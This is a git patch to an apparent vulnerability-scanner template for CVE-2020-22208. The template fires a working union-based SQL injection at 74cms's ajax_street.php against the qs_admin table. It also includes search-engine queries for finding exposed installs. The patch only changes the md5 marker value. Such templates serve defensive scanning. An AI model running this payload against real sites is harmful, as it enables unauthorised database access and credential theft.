From 231601b9d3e094b2eccb7e3d5b636f4925ac68b6 Mon Sep 17 00:00:00 2001 From: Ritik Chaddha <44563978+ritikchaddha@users.noreply.github.com> Date: Thu, 30 Jun 2022 08:19:29 +0530 Subject: [PATCH] Update CVE-2020-22208.yaml --- cves/2020/CVE-2020-22208.yaml | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/cves/2020/CVE-2020-22208.yaml b/cves/2020/CVE-2020-22208.yaml index 872b860cb2..56f70cc378 100644 --- a/cves/2020/CVE-2020-22208.yaml +++ b/cves/2020/CVE-2020-22208.yaml @@ -18,16 +18,19 @@ info: fofa-query: app="74cms" shodan-query: http.html:"74cms" tags: cve,cve2020,74cms,sqli + +variables: + num: "999999999" requests: - method: GET path: - - '{{BaseURL}}/plus/ajax_street.php?act=alphabet&x=11�%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5("{{randstr}}"),9%20from%20qs_admin#' + - '{{BaseURL}}/plus/ajax_street.php?act=alphabet&x=11�%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5({{num}}),9%20from%20qs_admin#' matchers: - type: word part: body words: - - '{{md5("{{randstr}}")}}' + - '{{md5({{num}})}}' # Enhanced by cs on 2022/06/21